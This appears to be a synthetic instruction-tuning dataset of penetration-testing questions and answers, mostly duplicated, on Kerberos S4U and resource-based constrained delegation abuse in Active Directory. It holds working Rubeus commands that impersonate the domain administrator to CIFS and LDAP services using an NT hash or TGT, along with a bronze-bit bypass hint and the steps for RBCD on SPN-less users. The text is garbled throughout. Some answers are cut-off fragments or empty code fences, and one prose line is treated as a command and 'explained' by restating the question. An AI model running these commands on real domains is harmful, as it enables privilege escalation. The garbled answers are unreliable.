System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Request the "impersonation" service ticket using RC4 Key?

Response: Rubeus.exe s4u /nowrap /impersonateuser:"administrator" /msdsspn:"cifs/target" /domain:"domain" /user:"controlledaccountwithSPN" /rc4:$NThash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Request the "impersonation" service ticket using RC4 Key

[Assistant] Rubeus.exe s4u /nowrap /impersonateuser:"administrator" /msdsspn:"cifs/target" /domain:"domain" /user:"controlledaccountwithSPN" /rc4:$NThash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Request the "impersonation" service ticket using RC4 Key

Response: Rubeus.exe s4u /nowrap /impersonateuser:"administrator" /msdsspn:"cifs/target" /domain:"domain" /user:"controlledaccountwithSPN" /rc4:$NThash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about OR - Request the "impersonation" service ticket using TGT Ticket of the controlledaccountwithSPN?

[Assistant]
Rubeus.exe s4u /nowrap /impersonateuser:"administrator" /msdsspn:"host/target" /altservice:cifs,ldap /domain:"domain" /user:"controlledaccountwithSPN" /ticket:$kirbiB64tgt
``

The NT hash and AES keys can be computed as follows.

`powershell
Rubeus.exe hash /password:$password
Rubeus.exe hash /user:$username /domain:"domain.local" /password:$password
`

> [!CAUTION]
> In some cases, the delegation will not work. Depending on the context, the bronze bit vulnerability (CVE-2020-17049) can be used with the /bronzebit flag to try to bypass restrictions.

> [!TIP]
> The SPN (Service Principal Name) set can have an impact on what services will be reachable. For instance, cifs/target.domain or host/target.domain will allow most remote dumping operations (more info on adsecurity.org). There however scenarios where the SPN can be changed (AnySPN) to access more services. This technique can be exploited with the /altservice` flag with Rubeus.

---
Step 3: Pass-the-ticket :passport_control:

Once the ticket is injected, it can natively be used when accessing the service (see pass-the-ticket).

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about OR - Request the "impersonation" service ticket using TGT Ticket of the controlledaccountwithSPN?

Response:
Rubeus.exe s4u /nowrap /impersonateuser:"administrator" /msdsspn:"host/target" /altservice:cifs,ldap /domain:"domain" /user:"controlledaccountwithSPN" /ticket:$kirbiB64tgt
``

The NT hash and AES keys can be computed as follows.

`powershell
Rubeus.exe hash /password:$password
Rubeus.exe hash /user:$username /domain:"domain.local" /password:$password
`

> [!CAUTION]
> In some cases, the delegation will not work. Depending on the context, the bronze bit vulnerability (CVE-2020-17049) can be used with the /bronzebit flag to try to bypass restrictions.

> [!TIP]
> The SPN (Service Principal Name) set can have an impact on what services will be reachable. For instance, cifs/target.domain or host/target.domain will allow most remote dumping operations (more info on adsecurity.org). There however scenarios where the SPN can be changed (AnySPN) to access more services. This technique can be exploited with the /altservice` flag with Rubeus.

---
Step 3: Pass-the-ticket :passport_control:

Once the ticket is injected, it can natively be used when accessing the service (see pass-the-ticket).

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do OR - Request the "impersonation" service ticket using TGT Ticket of the controlledaccountwithSPN

[Assistant]
Rubeus.exe s4u /nowrap /impersonateuser:"administrator" /msdsspn:"host/target" /altservice:cifs,ldap /domain:"domain" /user:"controlledaccountwithSPN" /ticket:$kirbiB64tgt
``

The NT hash and AES keys can be computed as follows.

`powershell
Rubeus.exe hash /password:$password
Rubeus.exe hash /user:$username /domain:"domain.local" /password:$password
`

> [!CAUTION]
> In some cases, the delegation will not work. Depending on the context, the bronze bit vulnerability (CVE-2020-17049) can be used with the /bronzebit flag to try to bypass restrictions.

> [!TIP]
> The SPN (Service Principal Name) set can have an impact on what services will be reachable. For instance, cifs/target.domain or host/target.domain will allow most remote dumping operations (more info on adsecurity.org). There however scenarios where the SPN can be changed (AnySPN) to access more services. This technique can be exploited with the /altservice` flag with Rubeus.

---
Step 3: Pass-the-ticket :passport_control:

Once the ticket is injected, it can natively be used when accessing the service (see pass-the-ticket).

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do OR - Request the "impersonation" service ticket using TGT Ticket of the controlledaccountwithSPN

Response:
Rubeus.exe s4u /nowrap /impersonateuser:"administrator" /msdsspn:"host/target" /altservice:cifs,ldap /domain:"domain" /user:"controlledaccountwithSPN" /ticket:$kirbiB64tgt
``

The NT hash and AES keys can be computed as follows.

`powershell
Rubeus.exe hash /password:$password
Rubeus.exe hash /user:$username /domain:"domain.local" /password:$password
`

> [!CAUTION]
> In some cases, the delegation will not work. Depending on the context, the bronze bit vulnerability (CVE-2020-17049) can be used with the /bronzebit flag to try to bypass restrictions.

> [!TIP]
> The SPN (Service Principal Name) set can have an impact on what services will be reachable. For instance, cifs/target.domain or host/target.domain will allow most remote dumping operations (more info on adsecurity.org). There however scenarios where the SPN can be changed (AnySPN) to access more services. This technique can be exploited with the /altservice` flag with Rubeus.

---
Step 3: Pass-the-ticket :passport_control:

Once the ticket is injected, it can natively be used when accessing the service (see pass-the-ticket).

:::


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the The syntax for or - request the "impersonation" service ticket using tgt ticket of the controlledaccountwithspn?

[Assistant] The NT hash and AES keys can be computed as follows.

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the The syntax for or - request the "impersonation" service ticket using tgt ticket of the controlledaccountwithspn?

Response: The NT hash and AES keys can be computed as follows.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform OR - Request the "impersonation" service ticket using TGT Ticket of the controlledaccountwithSPN?

[Assistant] The NT hash and AES keys can be computed as follows.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform OR - Request the "impersonation" service ticket using TGT Ticket of the controlledaccountwithSPN?

Response: The NT hash and AES keys can be computed as follows.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `The NT hash and AES keys can be computed as follows.`?

[Assistant] This command is used for or - request the "impersonation" service ticket using tgt ticket of the controlledaccountwithspn. OR - Request the "impersonation" service ticket using TGT Ticket of the controlledaccountwithSPN

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `The NT hash and AES keys can be computed as follows.`?

Response: This command is used for or - request the "impersonation" service ticket using tgt ticket of the controlledaccountwithspn. OR - Request the "impersonation" service ticket using TGT Ticket of the controlledaccountwithSPN


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of (RBCD) Resource-based constrained - RBCD on SPN-less users

[Assistant]
In 2022, Jame Forshaw demonstrated that the SPN requirement wasn't completely mandatory and RBCD could be operated without: Exploiting RBCD using a normal user. While this technique is a bit trickier and should absolutely be avoided on regular user accounts (the technique renders them unusable for normal people), it allows to abuse RBCD even if the MachineAccountQuota is set to 0. In this case, the first (edit the "rbcd" attribute) and last ("Pass-the-ticket") steps are the same. Only the "Obtain a ticket" step changes.

The technique is as follows:

1. Obtain a TGT for the SPN-less user allowed to delegate to a target and retrieve the TGT session key.
2. Change the user's password hash and set it to the TGT session key.
3. Combine S4U2self and U2U so that the SPN-less user can obtain a service ticket to itself, on behalf of another (powerful) user, and then proceed to S4U2proxy to obtain a service ticket to the target the user can delegate to, on behalf of the other, more powerful, user.
4. Pass the ticket and access the target, as the delegated other

> [!NOTE]
> While this technique allows for an abuse of the RBCD primitive, even when the MachineAccountQuota is set to 0, or when the absence of LDAPS limits the creation of computer accounts, it requires a sacrificial user account. In the abuse process, the user account's password hash will be reset with another hash that has no known plaintext, effectively preventing regular users from using this account.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket (Python) scripts can be used to operate that technique. At the time of writing, September 7th 2022, some of the tools used below are in Pull Requests still being reviewed before merge (#1201 and #1202).

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of (RBCD) Resource-based constrained - RBCD on SPN-less users

Response:
In 2022, Jame Forshaw demonstrated that the SPN requirement wasn't completely mandatory and RBCD could be operated without: Exploiting RBCD using a normal user. While this technique is a bit trickier and should absolutely be avoided on regular user accounts (the technique renders them unusable for normal people), it allows to abuse RBCD even if the MachineAccountQuota is set to 0. In this case, the first (edit the "rbcd" attribute) and last ("Pass-the-ticket") steps are the same. Only the "Obtain a ticket" step changes.

The technique is as follows:

1. Obtain a TGT for the SPN-less user allowed to delegate to a target and retrieve the TGT session key.
2. Change the user's password hash and set it to the TGT session key.
3. Combine S4U2self and U2U so that the SPN-less user can obtain a service ticket to itself, on behalf of another (powerful) user, and then proceed to S4U2proxy to obtain a service ticket to the target the user can delegate to, on behalf of the other, more powerful, user.
4. Pass the ticket and access the target, as the delegated other

> [!NOTE]
> While this technique allows for an abuse of the RBCD primitive, even when the MachineAccountQuota is set to 0, or when the absence of LDAPS limits the creation of computer accounts, it requires a sacrificial user account. In the abuse process, the user account's password hash will be reset with another hash that has no known plaintext, effectively preventing regular users from using this account.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket (Python) scripts can be used to operate that technique. At the time of writing, September 7th 2022, some of the tools used below are in Pull Requests still being reviewed before merge (#1201 and #1202).

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on (RBCD) Resource-based constrained - RBCD on SPN-less users

[Assistant]
In 2022, Jame Forshaw demonstrated that the SPN requirement wasn't completely mandatory and RBCD could be operated without: Exploiting RBCD using a normal user. While this technique is a bit trickier and should absolutely be avoided on regular user accounts (the technique renders them unusable for normal people), it allows to abuse RBCD even if the MachineAccountQuota is set to 0. In this case, the first (edit the "rbcd" attribute) and last ("Pass-the-ticket") steps are the same. Only the "Obtain a ticket" step changes.

The technique is as follows:

1. Obtain a TGT for the SPN-less user allowed to delegate to a target and retrieve the TGT session key.
2. Change the user's password hash and set it to the TGT session key.
3. Combine S4U2self and U2U so that the SPN-less user can obtain a service ticket to itself, on behalf of another (powerful) user, and then proceed to S4U2proxy to obtain a service ticket to the target the user can delegate to, on behalf of the other, more powerful, user.
4. Pass the ticket and access the target, as the delegated other

> [!NOTE]
> While this technique allows for an abuse of the RBCD primitive, even when the MachineAccountQuota is set to 0, or when the absence of LDAPS limits the creation of computer accounts, it requires a sacrificial user account. In the abuse process, the user account's password hash will be reset with another hash that has no known plaintext, effectively preventing regular users from using this account.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket (Python) scripts can be used to operate that technique. At the time of writing, September 7th 2022, some of the tools used below are in Pull Requests still being reviewed before merge (#1201 and #1202).

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on (RBCD) Resource-based constrained - RBCD on SPN-less users

Response:
In 2022, Jame Forshaw demonstrated that the SPN requirement wasn't completely mandatory and RBCD could be operated without: Exploiting RBCD using a normal user. While this technique is a bit trickier and should absolutely be avoided on regular user accounts (the technique renders them unusable for normal people), it allows to abuse RBCD even if the MachineAccountQuota is set to 0. In this case, the first (edit the "rbcd" attribute) and last ("Pass-the-ticket") steps are the same. Only the "Obtain a ticket" step changes.

The technique is as follows:

1. Obtain a TGT for the SPN-less user allowed to delegate to a target and retrieve the TGT session key.
2. Change the user's password hash and set it to the TGT session key.
3. Combine S4U2self and U2U so that the SPN-less user can obtain a service ticket to itself, on behalf of another (powerful) user, and then proceed to S4U2proxy to obtain a service ticket to the target the user can delegate to, on behalf of the other, more powerful, user.
4. Pass the ticket and access the target, as the delegated other

> [!NOTE]
> While this technique allows for an abuse of the RBCD primitive, even when the MachineAccountQuota is set to 0, or when the absence of LDAPS limits the creation of computer accounts, it requires a sacrificial user account. In the abuse process, the user account's password hash will be reset with another hash that has no known plaintext, effectively preventing regular users from using this account.

::: tabs

=== UNIX-like

From UNIX-like systems, Impacket (Python) scripts can be used to operate that technique. At the time of writing, September 7th 2022, some of the tools used below are in Pull Requests still being reviewed before merge (#1201 and #1202).

```bash